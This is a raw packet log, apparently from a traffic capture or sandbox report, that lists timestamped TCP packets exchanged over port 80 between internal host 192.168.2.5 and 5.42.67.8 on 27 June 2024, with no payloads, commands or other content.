Jun 27, 2024 06:44:19.160556078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.226752996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.226769924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.226784945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.226917982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.226932049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.226953983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.226968050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.227061987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.227061987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.227061987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.227061987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.227061987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.235460997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235476017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235491037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235574961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235589027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235603094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235618114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.235647917 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.235647917 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.235647917 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.235693932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249063015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249078035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249085903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249105930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249119997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249133110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249146938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249147892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249319077 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249319077 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249320984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249336004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249350071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249362946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249376059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249377966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249388933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249398947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249413013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249422073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249427080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249439955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249447107 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249455929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249464035 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249490976 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249645948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249660969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249674082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249686003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249687910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249701977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249712944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249716043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249730110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249737978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249743938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249756098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249758959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249772072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249783039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249785900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249800920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249809027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249814987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249824047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249828100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249842882 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.249849081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249874115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.249897003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250081062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250096083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250109911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250123978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250138044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250138044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250150919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250163078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250164986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250179052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250180960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250194073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250204086 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250206947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250221014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250227928 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250236034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250245094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250272989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250462055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250475883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250489950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250503063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250515938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250516891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250530005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250535965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250544071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250560045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250560999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250581026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250582933 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250606060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250608921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250628948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250632048 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250642061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250655890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250655890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250669003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250669003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250684023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250685930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250698090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250710964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250710964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250725031 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250737906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250741005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250751972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250766039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250766993 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250778913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250781059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250792980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250806093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250807047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250819921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250830889 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250833035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250844955 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250847101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250859976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250870943 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250874043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250885963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250899076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250900030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250909090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250914097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.250943899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.250969887 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251276970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251291990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251305103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251319885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251334906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251360893 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251431942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251455069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251468897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251472950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251482964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251493931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251496077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251507044 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251509905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251523018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251530886 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251535892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251549959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251553059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251563072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251563072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251578093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251585960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251591921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251605988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251609087 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251620054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251631975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251633883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251647949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251658916 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251667976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.251673937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251698017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.251712084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.313493967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313509941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313525915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313576937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.313599110 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.313608885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313622952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313637018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313649893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.313652992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.313673019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.313704967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.322079897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322094917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322109938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322132111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322145939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322146893 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.322160006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322180033 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.322189093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.322217941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.322240114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331531048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331547022 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331567049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331595898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331598043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331612110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331625938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331640959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331650019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331676960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331705093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331718922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331733942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331743002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331748009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331789017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331828117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331851006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331865072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331865072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331881046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331912041 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331935883 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331944942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331964970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331980944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.331989050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.331995964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332010984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332012892 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332026958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332035065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332061052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332070112 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332102060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332118988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332132101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332146883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332158089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332163095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332179070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332210064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332231998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332245111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332258940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332271099 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332272053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332287073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332294941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332299948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332335949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332353115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332360029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332374096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332387924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332396030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332401991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332417965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332468987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332509995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332524061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332536936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332549095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332550049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332566023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332571030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332608938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332634926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332648039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332662106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332670927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332675934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332689047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332705021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332739115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332755089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332771063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332792997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332793951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332808971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332823992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332828045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332838058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332850933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332864046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332896948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.332922935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.332959890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333040953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333055973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333070040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333084106 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333085060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333097935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333101988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333112001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333123922 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333126068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333141088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333162069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333182096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333239079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333252907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333267927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333276987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333280087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333297968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333328962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333431959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333446026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333460093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333471060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333473921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333496094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333496094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333509922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333525896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333532095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333539963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333550930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333554029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333568096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333583117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333587885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333596945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333622932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333642006 CEST	49719	80	192.168.2.5	5.42.67.8
